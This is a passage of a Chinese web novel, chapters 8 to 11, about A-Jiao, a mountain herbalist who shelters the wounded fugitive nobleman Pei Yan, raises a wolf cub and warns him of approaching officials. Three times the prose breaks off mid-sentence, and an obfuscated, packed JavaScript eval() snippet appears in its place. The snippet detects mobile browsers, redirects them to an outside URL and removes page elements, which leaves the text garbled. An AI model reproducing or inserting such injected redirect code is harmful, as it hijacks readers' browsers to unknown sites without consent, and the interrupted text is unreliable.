李是好噤若寒蝉,等裴衍出了房间,才吐出一口气来,“娇姐,刚这屋里好像刮阴风了,冷嗖嗖的。” 她俯身抱起小狼走到床边给她看,“要养吗?” 阿娇摸了摸它金灿灿的毛,不像狗毛软,有点硬,小狼崽温顺地贴着她的掌心,一双可怜巴巴的眼睛哀哀地望着她。 她的心一下就软了,“养吧,来都来了。” 李是好雀跃起来,狼她害怕,但是这么小小一团的小崽子,跟小狗似地,“那给它取个名字吧。” 阿娇歪头瞧了瞧小崽子的下边,“是只公狼啊,那...那就叫阿宝吧。” “阿宝,往后我们一起过活。” 当年母亲难产,没生下来的弟弟,就叫阿宝。 好像冥冥之中自有安排,爹爹救的狼血脉延续,如今反过来救了她,她还有了一只叫阿宝的狼崽子。 自徐天白离开后的沉寂屋子,迎来了新的生命,好像要再一次鲜活热闹起来。 阿娇隐约品出一点置之死地而后生的意味。 晚上李婶做了晚饭送来,坐在床边看阿娇吃饭,欲言又止。 阿娇吃饭很香。 最后李婶先忍不住抢了她手里的碗筷,“昏迷了这么多天,脾胃还虚弱,少吃点。” 阿娇摸了摸鼻子,又摸来小几上的橘子,吃个水果溜溜缝。 李婶愁眉不展,“毒蛇窟多危险啊,你爹就是交代在这上头了,你为了个陌生人,值得吗?!” 阿娇露出点恰到好处的难色,她倒不完全是为了个男人。 活着太煎熬,她就是想找个理由去死,为救他人性命而死,论起来都比自戕要壮烈豪迈得多,下去见着爹爹和母亲,都能挺直腰板说话。 烛光下的李婶叹了口气,“算了,这些都过去了,往后你怎么打算的?” “先养好伤,”阿娇盘算了下时日,“还要养阿宝,我后面再想点赚钱的营生,人家都都来托孤了,总得把它先养大。” “谁问你这个了,”李婶指着床榻边的那张躺椅,压低嗓音,“婶是说顾公子!你这丫头胆子怎么这么大,陌生男人都敢放在家里!” “伤好后,他自会走的,不用我打算。” 李婶瞅着她那舍不得的模样,又劝道:“他长得是和天白有几分像,但脾气秉性真是一个天一个地,天白多活泼热情的孩子,这位呢,长相气质都挺温润,但一冷下脸来,就像咱山里积年不化的山雪,这几天我和你叔都不大敢和他说话。” 阿娇不在意这些,她也就是好那一口皮囊。 等这人走了,她想看都看不到了,是以决定趁着这段日子偷偷看,多看一眼是一眼。 李婶瞧她油盐不进,大腿都要拍断,但想着阿娇孤苦,又不忍苛责。 “你比你爹命大,往后可不能再这么冲动了,”李婶又给她剥了个橘子,想想又说道,“你也别怨你爹爹,那时候大家日子都苦,若不是实在活不下去了,谁又愿意拿自己的命去搏呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405569|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这话阿娇听过许多次,不过李婶对她的好心安慰罢了。 “婶子,这话往后不要再讲了,那时我虽年纪小,但也记事了。” “爹爹是为了娶新媳妇才进山搏命的,吃不起饭才算得上活不下去了,没人伺候不算。” 李婶子瞧着阿娇苍白的面容,张了张唇想要说些什么,最后也只是摇摇头,端着碗筷出去了。 结果一出门差点撞到门口站着的人。 他双手环臂,斜靠着墙,背后纸窗透进几缕夕阳,映在无甚表情的面上,显露出几分冷鸷。 李婶子惊得心里直突突,手一松碗筷眼看就要落地。 裴衍出手利落,轻而易举地接住碗筷,眨眼间已是笑意盈盈,看起来格外良善。 “李婶,要当心。” 李婶接过碗筷,低着头快步走过,心中暗忖,这句要当心,更像是在警示她说话要当心。 裴衍目送人离开,嘴角落下,眸光里的冷厉又覆了上来。 - 修养半月,阿娇身上的伤已经好的七七八八,只是一双腿当时一脚踏空,右脚摔断了骨头,尚未好全。 裴衍是行伍之人,身体底子好,如今家中大多活计都是他在管。 李是好会每天送来新鲜的羊奶,早中晚阿娇一碗,阿宝一碗。 阿娇不爱喝羊奶,嫌有膻气,背着人偷偷倒给阿宝,三回有两回被裴衍看到,裴衍并不会出言责备,只是冷眼瞧她,阿娇喜欢他的脸,故而总会多给几分面子,捏着鼻子喝完。 裴衍每日都会带着阿宝进山,随机挑选野兔、野鸡等活物,填饱小狼的肚子。 这天他进山回来,除了野兔,还砍了好些树回来。 阿娇行动不便,日日不是坐在床上,就是坐在窗前,眼巴巴看着阿宝跟裴衍玩。 裴衍找李叔借了工具,费了两天工夫给阿娇做出来一架轮椅,李婶子送来两个鸭绒做的软垫,自此阿娇总算是能出房门,坐着轮椅逗阿宝玩耍。 至入了夜,天上圆月落下一院子银辉,山风带着花草树木的清香徐徐吹过,宁静又凉爽。 阿娇洗了头,在院子里晾风。 李是好站在她身后,拿着木梳一下一下梳着她的头发。 阿娇的头发又黑又直,在月光下像缎子般,细腻又柔软。 一把纤细、腻白的颈子,在乌发间若隐若现,像被薄纱盖住的温润美玉。 山里传来一阵阵清脆鸟鸣,映着温柔月光,她手里拿着一节桃花枝,低头轻嗅。 去年今日,徐天白为她送来一枝青云寺里的桃枝种于院中,如今又是一年春,人面桃花相映红,可故人已无踪迹。 屋里的裴衍站在窗边,静静看着,山风过处,吹动窗前挂着的风铃。 两只风铃下各垂挂着一张长形纸,上绘着阿娇或站或坐的俏皮模样,墨迹有些淡,想来悬挂已久。 他伸出手指轻撩了下那纸片,风铃发出“叮”地一声脆响,裴衍唇瓣嘲讽似地扯动了下。 这些日子,阿娇一直有件心事,她把玉佩弄丢了,想来是那日在山上跑动翻滚间不知遗落在何处了,她醒来第二日就将此事与顾大哥说了。 “那天我原本想把玉佩当了换穿莲草,可回春堂不肯卖,后来你吐血快要活不成,我上山前就忘了先把玉佩取下来,如今大概是落在山里了。” 裴衍瞧着她愧疚又小心的神态,半晌未言语,那玉佩于他而言至关重要,若是无心之失自然不能苛责。 可若是有意为之,意图私占,更有甚者,拿他当投名状,那就须得另当别论。 显然他更倾向于后者。 裴大郎君自幼时起,便浸淫在无数牛鬼蛇神之间,为他冲锋陷阵、赴汤蹈火的人很多,亦见过很多人会豁出命去赌一个前程,猜忌多疑的毛病如附骨之疽,想来只有阿娇此刻登时咽了气,他才会多信她几分。 亦或许,他只会认为阿娇命不好,是个豁出命去搏前程,却没搏到的可怜虫。 9. 第 9 章 这山中的一切在裴大郎君眼中是如浮尘、蝼蚁一般的存在,他不屑一顾,但看着阿娇甜笑、灵动的眉眼,他“啧”了一声。清贫之家、病痛在身,有什么事值得这么高兴? 院中的阿娇忽然打了个寒颤,拢紧身上的兔毛毛毯,这毛毯又暖又轻,她家阿宝吃兔肉,兔毛给她制毯子。 “娇姐你冷啊?”李是好俯身问。 阿娇摇摇头,让李是好推她进屋,堂屋右侧的柜子上放着三双兔毛制的手套。 “这半月都是李婶照顾吃饭,这三双手套,你们仨一人一个。”阿娇把手套递给李是好。 李是好从小就爱长冻疮,一入冬两只手又红又肿,半夜痒得都睡不着,她立刻就试了下,绵软舒适,“娇姐,你就是我最好的娇姐!” 这头欢欢喜喜、姐妹情深,寝屋里走出来个男人,其身量极高,显得这屋子都逼仄了起来。 他一向不把李是好放在眼里,现下却余尊降贵地瞟了一眼她手里的物件。 李是好背上一寒,溜得飞快。 阿娇抬头,嘴角弯起一个笑,“顾大哥。” 这个称呼,裴衍站在背光处,看不清神色,他一步步朝阿娇走来,就像一座压抑的高山倾轧而来,阿娇下意识抓着轮椅的扶手。 行至人跟前,膝盖与膝盖只见不过分毫,阿娇仰头看他,又唤了一声“顾大哥”。 阿娇知道他不姓顾,裴衍也知道阿娇知道他不姓顾,但她假装自己不知道,裴衍也假装她不知道,就看她能演到哪一天,不想半月过去,阿娇竟一个字都不曾提起那日她自己说过的话。 是故意不问,借以放松他的警惕,还是真不关心? 裴衍俯身,盯着她清透的双眸,迎向她仰起的温软面颊,那股茉莉花的幽香愈来愈浓,直到两人的距离不过尺寸,他没有再动。 阿娇眸光闪烁,紧张地贝齿咬着一点唇肉,见他迟迟不动便伸手推他,手心触到一片硬实发烫的胸膛。 这人很奇怪,一张脸冷得要死,脾气也很冷,但是身体却很热,像他这般体格,大概冬日都不用毛毯、柴火御寒,这让每逢冬日就冻得瑟瑟发抖的人分外羡慕,阿娇分神看向他的胸膛,手上无意识地又按了按。 裴衍瞟了一眼她的手,眉间一挑,又撩起眼皮盯着她,“怎么不笑了?” 阿娇不明所以,艰难扯出一个难看的笑。 裴衍不喜,伸手抱起她膝上的阿宝,随手丢在地上。 熟睡的阿宝立刻吱哇乱叫起来,它性子野,当下撒泼要咬裴衍的衣摆。 “出去睡。” 裴衍嗓音凉凉,眼神更凉,他喜洁,嫌弃阿宝身上的狼味。 阿宝虽小但识时务,窝窝囊囊地出去了。 阿娇看着亲儿子小小只被赶出去,背影弱小又可怜。 刚想说点什么,就撞进裴衍一双冷眸里,如深山寒潭,眼中意思一目了然。 要不你去陪它睡? 虽已入春,但青云山夜晚依旧颇凉,阿娇身体还在修养,她也识时务的没说什么。 裴衍走到她身后,推着她进寝屋,轮椅压过石板地,咯吱咯吱响,乌发随着轻微晃动,偶尔发丝拂过他的手背,就像最轻柔的羽毛在皮肤上来回摩挲,若有似无,幽幽痒意。 轮椅停在床榻边,裴衍俯身,一手托着薄背,一手托着腿弯,将人轻松抱起。 他第一次抱的时候,阿娇出言阻止过,“男女授受不清,我自己挪上去就可以。” 裴衍动作流畅,丝毫不被这话影响,“你把我脱光的时候,也不曾听你说男女授受不清。” 阿娇瞬间面色绯红,一直红到耳朵后,说话都结巴了起来,“那,那是,那是为了救你性命。” “再说那时你不是昏迷着吗?” 裴衍弯腰将人放到床榻上,鼻子冷嗤一声,没回答。 但今晚裴衍将人放下后,却没有收回手,大掌牢牢握在她的腰际,杀了个回马枪:“阿娇,那日你说的成全,是什么意思。” 阿娇倒吸一口冷气,合着这位大爷时时都清醒着,在跟她装呢。 “我也从来没有问过你中毒的事。” 裴衍抓住这话头,松了手,一撩衣摆在榻边坐下,很大方:“好,你问。” 阿娇睁圆了眼眸,想起那张通缉令,暗自往棉被里躲,“不,不用了,我不想知道...我什么都不想知道。” 她现在就想好好养阿宝。 瞧着阿娇这般模样,一张脸全埋在被子里,只露出一双圆滚滚的眼睛,颇为好笑,他假意扯棉被,“阿娇对某有救命之恩,知恩不报恩,并非君子所为。” 阿娇十指死死扒住被沿,烛光在她慌乱的眼眸中跳跃,“君...君子也不掀人...掀人被子!” 裴衍挺听人劝,手一松,坐了回去,他随手抖了抖身上的青衫,姿态矜贵而雅致。 “那你说说,什么叫“成全”。” 静谧的房间里,烛光跃动,在墙壁上放大投下男子的侧脸轮廓,阿娇瞧着那光影,慢吞吞地说:“我本是医者,没有见死不救的道理,救死扶伤自是对医者的成全。” 室内又是一静,半晌后裴衍嗤笑一声,“原来,阿娇是想做君子。” 阿娇心怀鬼胎,不敢应和这句话,偷偷觑了他一眼,见他已闭眼睡觉,小心商量:“我见你半夜总睡不好,是不是山里月光太亮了?” “我给你做个目罩吧,戴着睡。” 裴衍眼皮弹开,看向阿娇,“这又是在尽你医家的本分?” 阿娇心虚,“不...不算吧...” 她有时夜半醒来,瞧着躺椅上的人能看上半刻,但鉴于此人的余威,她看得总是不安心,生怕他睁眼。 裴衍今晚那口莫名之气总算顺了些,他既不点头,也没拒绝,很有些骄矜。 毕竟是有求于人,姿态总是要放低些,阿娇独自过活那么久,这点觉悟还是有的。 “可...可以吧?” “顾大哥?” 裴衍扯了扯薄被,出乎他自己意料,脱口而出,“我姓裴,顾是我母亲的姓氏。” 阿娇眼疾手快捂上耳朵,生怕听到更多,见她这般装聋作哑模样,裴衍气她又气自己,懒得再理这货,兀自闭目养神。 等了半晌见没动静了,她微微侧脸去瞧他,很长的一条人睡在一张小小的躺椅里,小腿往下都垂了下去,一时无言,又想起他方才说话时的语气,几分寂寥几分落寞。 这世道,每一块土地上,都长满了可怜人,各有各的难处,各有各的坟要哭。 - 山间不知岁月,宁静而致远。 阿宝在一天天长大,原来巴掌大的小不点如今站起来能到阿娇的膝盖,裴衍依旧每日带它进山猎食,开始时裴衍会打猎给它吃,后来,裴衍只是负着手,跟个老父亲一般不紧不慢跟在后边,由着阿宝满山乱跑,吃野味。 从前阿娇睡到日上三竿才起床,她本就贪睡,以往也没人管她,她爱几时起就几时起。 但裴衍这人毛病真的很多,每日卯时二刻就起身,他一起就见不得这个家里还有人在睡觉,脚尖踢醒袒着肚皮睡的阿宝,又指使阿宝去屋里闹阿娇。 常常一人一狼,眼睛都睁不开,迎着晨光对打哈欠。 阿娇睡不醒是她贪睡,阿宝睡醒惺忪是因为它半夜乱跑不睡觉,只有一个按时作息、精神抖索的裴衍,优雅进食。 她单手撑着脑袋,食之无味,徐天白从不会大清早来,他都很懂事地午后来。 人和人到底不一样,即便长得有几成相似。 “哎。” 阿娇叹了一口气,摸了摸胸口的长命锁,再来几次这般起的比鸡早,咱俩就快相会了。 裴衍世家出身,何时起、何时息、何时饮等等,都有规矩,更别提在军中,若是他的将士像阿娇这般惫懒,早被他军棍伺候。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405570|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食饮有节,起居有常,故能终其天年、度百岁,你是医家难道不懂这个道理?” 黄帝内经嘛,她七岁就会背了。 但她又不要长命百岁,她家阿宝至多活个十五、六岁,她只要坚持活过这个年岁,不让阿宝走她的老路就成。 饭后,阿娇就在摇椅里躺着晒太阳睡回笼觉,手边备着一壶文火温着的茉莉花茶,还有李婶做的肉干。 先头说的目罩,她做了两个,一个给裴衍,一个正好她睡太阳觉用。 温热的阳光烤着她,阿娇甚至有一瞬间的幻觉,如果这样的日子一直过下去,好像也不错。 因为她爱的人就在身边。 即便是假的。 她的骨头已经养好了,那架轮椅就空置在院子的东南角,阿娇有时还会去坐一坐,有时懒病犯了不想动,裴衍就只能推着她去用饭,推着她去李婶家串门子。 裴衍是个手很巧的人,李叔的弓用久了,筋胶解脱、弓力减弱,他看一眼就知道怎么修,修好的弓甚至比从前更好用,李叔对这个后生一下子就满意了,主动留人吃酒,连压箱底的人参酒都拿出来了。 裴衍是个心很细的人,李婶的驴车总是散架,跟李叔说了好几次,李叔没动静,反而是裴衍不声不响地给人修好了,李婶对这个后生也一下子满意了,主动留人吃饭,送来的汤水都有他的一份。 但李是好不一样,她原先觉得这人长得俊美、颇有好感,如今却不喜他,每次她去找娇姐玩,这人就会在不远不近的地方盯着她们,眸光凛然,瞳孔中似乎翻涌着寒风冻雨,自带阴风阵阵的气场。 “他一定不是个好人,说不准是个杀人越货的狂徒!” “我瞧见他一下就拧断了野鸡脖子,我爹都办不到。” 她这般与娇姐说,娇姐却只是安慰性地拍她的肩,说:“人无两全,长得好的人,脾性总是要差一点,可以包容的。” “娇姐,你色令智昏啊。” 李是好不赞同,她觉得那人就是纯坏,冷飕飕地坏,还爱在她爹娘、在娇姐面前装好人。 阿娇也不否认,毕竟她是真的很爱那张脸,“人生哪的几回昏,昏就昏吧。” 虽然李是好不喜裴衍、诋毁裴衍,但好在裴衍也不是什么良善之辈,他更不喜李是好,一个总喜欢缠着阿娇的病秧子,一个光吃饭不干活的碎嘴子,一个看不懂眼色的二愣子,这些组成了裴衍对李是好的全部评价,所以在阿娇跟他说,李是好不日就要出嫁时,他竟然生出了一种“终于”的感觉,甚至想给人出一份嫁妆,赶紧送人出门。 “我明日和小好一起下山去县里,她要去挑些首饰当陪嫁。” 阿娇搂着阿宝坐在床榻上,阿宝满床乱跑。 裴衍双手抱胸,斜靠着门框,一身雪青色长衫,皱着眉看着床榻上的狼崽子,嫌弃且不赞同的神色。 如今他不睡这边,早前阿娇就托李叔给他买了一张床放在堂屋里,所以阿娇就把阿宝带进来睡觉了,瞧着倒真是母子情深。 阿娇瞧着他那脸色,默默扯过被子将阿宝掩护起来。 裴衍倒没要把狼出去的意思,只是似笑非笑地看着阿娇,思量她下山是真的去买首饰,还是借故去领那百两黄金的悬赏金,抑或是去取藏起来的玉佩。 裴衍对此人好奇有之、防备有之,但面上永远温和,永远君子。 他解下腰间的荷包扔到阿娇手边,沉甸甸地“咚”一声。 “你也去挑一些。” 阿娇拎着那荷包,拉开束口,银票、银锭、碎银俱全,震惊:“你哪儿来的这些钱?” 两人几乎天天在一处,他何时寻到了这么好的生财之道? 有这般好的生财之道,怎得不说与她知,大家好才是真的好嘛。 再说她要是有这赚钱能力,就不用为那五十两发愁了,正当她要虚心请教如何发财时,裴衍忽然问道。 “你常带着的金锁,是谁送的?” 10. 第 10 章 照阿娇所说,她爹很穷,她自己也很穷,给他买那张硬板床,不过百文,她心疼得饭量都小了。 他是不信这等品种的抠门精,会豁出去给自己买金锁,除非天降横财。 摇曳烛光下,纯金的长命锁泛着几许光泽,阿娇默默伸手,捂住胸前的金锁。 “我...我虽弄丢了你的玉佩,但好歹救了你一命,”阿娇故意绕过“谁送的”这个问题,“你总不能要我的长命锁补偿你的损失。” 裴衍被她护锁的模样逗起了兴趣,“一只锁不够。” 面对裴衍这种人精,山里长大的阿娇就显得稚嫩、纯粹很多,她不会挟恩图报,也不会猜测别人话里的意思,只会为难地看着他,希望他能高抬贵手,忘了玉佩那回事。 裴衍这些日子,每日上山,除了遛狼崽子外,更重要的是翻找他的玉佩,他顺着阿娇当日的路线来回数趟,一无所获,是以他怀疑玉佩有可能被阿娇藏在县城里。 贪财之人藏了贵重物品,如何能忍得住不去查看查看。 阿娇顶不住他债主讨债般的目光,偏过头去赶人,“我,我要睡觉了,要不明日再,再说吧。” 裴衍不仅没走,反而突然走了进来,阿娇紧紧抱住阿宝,四只圆滚滚的眼睛齐齐戒备地看着高大的男人,“做...做什么?” 裴衍走去窗边,将支开的窗柩关上,月光和夜风都被隔绝在外,“春夜犹寒,不要贪凉快。” 阿宝体热,阿娇总是喜欢开着窗户,这几日她确实时常打喷嚏,隐隐有风寒的征兆,但她也不在意,人活着总会有点小病小痛,熬一熬就好了。 裴衍热了两碗羊奶,阿娇一碗,阿宝一碗,盯着这俩喝完了,他施施然睡觉去了。 山上岁月宁静,山下秦楼楚馆喧哗旖旎,临近子时,依旧迎来送往、衣袖飘飘。 王顺自从得了那块玉佩后,虽没将玉佩出手,却也焦心地很,怕卖贱了,失去这翻身的好机会,又怕卖贵了,没人要,是以日夜厮混在秦楼楚馆,想在其中挑个冤大头好出手,但这年头人人都成了精,冤大头着实稀少。 王发没了营生后,一直跟着表兄王顺厮混,酒醉后满口胡沁,“表兄,那阿娇就是个水性杨花的□□,我可都是为了你才骂了她几句,要不是她勾引了李大夫,李大夫怎会解雇我!” 说着又灌了几口苦酒,如今家里都要揭不开锅,婆娘日日给他脸色看。 “什么时候的事!”王顺本就气闷,酒意上头,梗着脖子吼。 王发将阿娇上门那日的事添油加醋说了,“两人在后堂,避着人关着门,还脱了鞋,你说除了那点事,还能干什么!后来见官差来了,阿娇还从后门跑了,臭婆娘!” “在我面前装的三贞九烈,”王顺双眼冒红,想起那日阿娇匆忙心虚的神情,“还不是是个男人就能上!” 旋即想到那日上山,好似在屋内瞧见个人影,"好啊,难怪那天晚上隐约瞧着屋里藏了个男人!" “藏男人?” 王发放下酒壶,酒醒了大半,“可瞧真切了?真是个男人?” 王顺越发肯定,那必定就是李大夫,俨然一顶绿帽子上头,连日来在阿娇那受得气全冒了出来,邪念一起,伸手招来老鸨,要了点东西。 王发酒已经醒了,假借去方便,逃了酒钱,满面红光往衙门跑。 那日他偷听李大夫和阿娇说话,隐约听到穿莲草,后来官兵上门,李大夫矢口否认,当时还觉得是李大夫怕惹麻烦,现下想想说不准真是。 要不衙门搜查那贼犯那么久,能连个人影都没有,说不准就是藏在山上。 若真是,那悬赏的百两黄金就是他的了! 王发在衙门门口冻了半宿,等着大门一开,拖着发麻的腿脚一瘸一拐扑进去。 - 李是好要嫁的是山脚下的豆腐小郎君,家里祖辈都是卖豆腐,踏实干活,小郎君长得腼腆,带着媒人来提亲的时候,脸红似猴屁股,看着是个可堪托付的。 待到辰时两刻,李是好来寻娇姐一道去薛记绸缎庄,薛记老板娘之前有妇科病,羞于见医,还是娇姐治好的,前头就说了往后去她家买布,一律打折。 原本以为来的尚早,娇姐还没起身,一推门却看到娇姐在晒药材,十来只晒药架摆在东墙边,每只药架上都晾着各色药材,空气里浮动着淡淡药草香。 “娇姐,你最近怎么都起这么早了?”李是好走过去。 阿娇穿着一身淡黄色窄袖短袄、芙蓉花绣样的长裙,腰肢纤细,身量轻盈,只是眉眼瞧着有几分困意。 她摆摆手,不欲细说。 昨晚她做了一晚上的噩梦,梦里一直被一只雪青色的仙人掌扎着,她跑它就在后面追,她慌不择路摔倒在地,抬头一看,那扎人的仙人掌上头冒出一朵白莲花,温润高洁,分明是徐天白的模样,她伸手要摸,那白莲花倏地睁开双眼,眼风凌厉,她一下子就被扎死了。 噩梦惊醒的瞬间,她浑身发紧,好似真死了一次。 不能再这样张冠李戴下去了,假的毕竟就是假的,她再自欺欺人也不会变成真的。 等李家的婚事过后,得让裴大哥走。 “走,下山买嫁妆。” 两人将将走到山脚,恰巧看到一队挎刀官兵,十来人左右正在路边茶寮,喝茶歇脚。 为首的正是那日在衙门里压着她打板子的衙役。 阿娇扯住李是好躲到树后,她与王顺的官司还没了结,自是不想与衙差碰面,更何况那衙差与王顺关系匪浅,若是撞上平白又要生出事来。 “娇姐,要不咱们明儿再去买布吧?” 两人若是要去县城里,必定要经过那处茶寮,李是好扯了扯阿娇的衣袖,“娇姐?” 阿娇比了个“嘘”的手势,对面那群人像是歇够了,挎着刀三三两两起身,为首的王力从胸口摸出一张通缉令扔到桌上当茶资,茶寮掌柜的陪着笑,又递上两包糕点,躬身送走这些大爷。 “这到底是当兵的,还是当贼的,”李是好啐了一口,又说,“娇姐,我们也走吧?” 阿娇点头,上次去回春堂差点撞见官兵,如今官兵出了城,她进城反而安心些。 两人路过茶寮,就听到茶寮掌柜的骂骂咧咧,零星坐着的客人劝他忍一忍,这世道,民怎么与官斗。 掌柜的小本生意哪经得起这般打秋风,气得将那通缉令团成团,往外一扔,恰好砸到李是好的头上。 “呀!”李是好摸了摸头,捡起那团纸,“掌柜的,做什么呢!” 掌柜的忙跑出来,看到阿娇,搓着手道歉,“对不住,对不住,我请两位喝茶,孩子他娘早上敢做的青草糕,阿娇大夫您一向爱吃的。” 阿娇拿过李是好手里的通缉令,展开皱巴巴的纸,瞳孔一缩,立刻转身去看那群官兵的方向。 “掌柜的,他们是要去捉谁啊?”李是好瞧着通缉令上也没个画像。 “谁知道呢,只说了这手肘特征,让我们都留意着,谁知道是不是寻了个由头到处打秋风,”掌柜的压低声音,“县城里的商户都怕了他们,隔三岔五来都得给孝敬,方才听他们说,还要往山上去呢。” 上山?! 阿娇一惊。 “捞钱捞疯了吧,”李是好翻了个白眼,“山上可没几户人家。” 阿娇把通缉令还给掌柜的,拉上李是好就往回走。 上山的好路是不能走了,她带着李是好走小路,“回家后,带上你爹娘立刻下山,去你外租家住几天。” “怎么了娇姐?”李是好被她拉着飞奔,气都要喘不上来。 “别问,旁人若问起来,就说你是回去待嫁的。”阿娇一句句交代,“你和李叔李婶,从来没见过裴大哥,平日你们和我也不大来往,不知道我那有什么人。” “记住,无论谁问,都说没见过、不知道、不认识。” 李是好被阿娇严肃的神态和语气给吓到了,知道要出大事,也不问了,闷头赶路。 两人抄近路回了半山腰,阿娇将荷包一解,塞进李是好怀里,“给你的添妆,快回家,按我说的做。” 说完她就往自个儿家跑,小院静悄悄的,裴大哥带阿宝上山还没回来。 她又火急火燎地上山寻人。 裴衍正负手站在一棵橘子树下,他身前还半跪着一名男子,身穿圆领缺骻袍,脚踩乌皮靴,倒比裴衍的长衫要华贵地多。 “大郎君,三皇子殿下飞鸽传书,说京中事宜尚未落定,请大郎君再稍待时日,”裴玦说道,“中州新任通判月前到任,是太子的人,属下已经布设监视人马。” 裴玦自小就跟着裴大郎君,是生死相随的死士。 两月前在通判府的席上,意外遭遇截杀,众人护着大郎君逃出后,兵分两路,由裴决带一队人马护卫大郎君走青云山,他带着另一路人马分散视线,不成想裴瑛竟然叛变,致大郎君于险境! 裴瑛与他跟随大郎君死战沙场,多少次冲锋陷阵、几经生死,他一向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405571|200487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是豁出命去挡在大郎君前头,裴瑛至今都想不通裴决为什么要背主。 如今中州地界不安全,死士折损过半,他已另寻一处安全之所,确保大郎君回京前再无危险。 裴衍却没应声,一双黑瞳沉如寒潭,淡漠地瞧着远处吃饱了躺着晒太阳的阿宝。 裴玦想了想,又道:“属下已经派人暗中跟踪阿娇姑娘,今日她下山,必然可知她将玉佩藏匿于何处。” “还有一事,裴府听闻郎君遇刺,生死未卜,主君已经上了折子,让三郎君袭爵。” 裴衍唇角微微翘起,露出一个嘲讽的笑。 忽然百米外的脚步声回响到他的耳朵,裴玦抬头看大郎君。 裴衍听出是阿娇的脚步声,“下去吧。” 裴玦身轻如燕,眨眼间已不见踪迹。 “阿宝!阿宝!”阿娇一路跑一路小声喊,她不敢喊裴大哥,怕有打猎的人听见,而且阿宝耳力、嗅觉佳,方圆百里,它都能听到、闻到。 但眼下阿宝吃饱喝足,躺在那土坑里,懒洋洋不肯动弹。 听到阿娇的呼唤,陡然跳了起来,咧着个笑,摇头晃脑跑着去了。 裴衍往阿娇的方向迎了几步,站在稍开阔处,身形如雪后青松,挺拔峭立,衣袂当风,飘然出尘。 “过来。” 嗓音沉澈,带着几分安抚意味。 暖光穿过枝叶缝隙,碎金似的落在他清峻的面容上,雪青色长衫被风轻轻掀起一角。 她双手撑着膝盖,跑得气喘吁吁,心脏不受控地剧烈跳动,带着震耳欲聋的痛快。 还是这里,偏偏又是这里。 橘子树尚未结果,舒展着青葱的枝叶,树下站着她魂牵梦绕的那个人。 她知道这很荒谬,可快乐还是可耻地、汹涌地从酸胀的胸腔里冒了出来。 她自己都不知道,同时冒出来的还有她的眼泪。 阿娇在这个瞬间又要开始相信命运,相信眼前人就是她念念不忘的又一次回响,是徐天白留给她的一点余韵。 色令智昏也好,吃人白莲也罢,反正活着这件事也没什么意思,她愿意为了这种虚幻的回响,赴汤蹈火、生死不计。 “官兵来了,你快走。” 裴衍没有动,他静立着,以一种审视评判的目光,静静地看着阿娇。 在怀疑她的真假心,在猜度她的目的,究竟是真的来救他,还是想着骗他去换悬赏黄金,毕竟十余年的死士都可以背叛,生身父亲可以见利忘义,相识不过数月的陌生人更不可信。 或许也不用如此费心去猜测,在这里彻底结束她的性命,最为方便。 “阿娇怎么知道,官兵要抓的人,是我。” 声音轻柔,说话间气息顺着耳廓,飘进她的耳道,温声细语却掺杂杀心。 阿娇不懂他为什么这么问,一双琥珀琉璃眼浮起层薄雾,远山眉皱起,似在谴责他不知此刻的紧迫。 “我救你的时候,看到了你手肘上的红痣。” “快,快走,先去凌雨洞躲下,那边久无人迹,不会搜到那里去。” “那你呢?” “我回去收拾下屋子,里面有许多物件得收起来,不然他们一查看就会露出破绽,”阿娇拉着人往前走,“从前我进山采药,若遇大风雨,便会在那过夜,你和阿宝先过去,若这边没事了,我再来接你们。” 阿娇指着往北的方向,“你沿着这个方向一直走,走到底右转,就能看到,里面应该还有些干粮、被褥。” 裴衍抬手擦去她的泪,清透的泪珠顺着他的食指滑落,晕开在微凉的指尖。 她待他,剔透赤诚地就像这一滴泪,即便那颗心还在固执地怀疑,但身体却忍不住跟着她走。 他垂眸看着两人交握的双手,她纤细手掌里的热意顺着筋络一路往上爬,直冲心脏,捂得他那颗冷漠至极的心都颤了一颤。 清晨她下山,便有暗卫跟在她身后,那群官兵离开茶寮要往山上来时,暗卫早已传信回来。 堂堂东都裴大郎君,沙场饮血十数年的人,如今却被个小丫头片子护着,去躲避一群不值一提的蝼蚁。 他想起重伤那一日,阿娇去而复返喂给他的那一点清甜花蜜,那在黑天碧树间好似天上月的人。 这种感觉,足够荒谬却也足够窝心。 裴衍在这一刻甚至有一瞬的心动,就算这一切都是假的,都是虚幻的,他也愿意跟着她走。 哪怕她推他去刀山火海。 11. 第 11 章 就凭他的这张脸,阿娇就不会推他去刀山火海,万一毁容了,她上哪儿再找个这么像的。 两人并一只小狼走到岔路口,“你先去,等官兵走了,我便来寻你。”阿娇说道。 “若你被官兵抓了呢?”裴衍垂下眼,盯着她的神情,不放过一丝一毫。 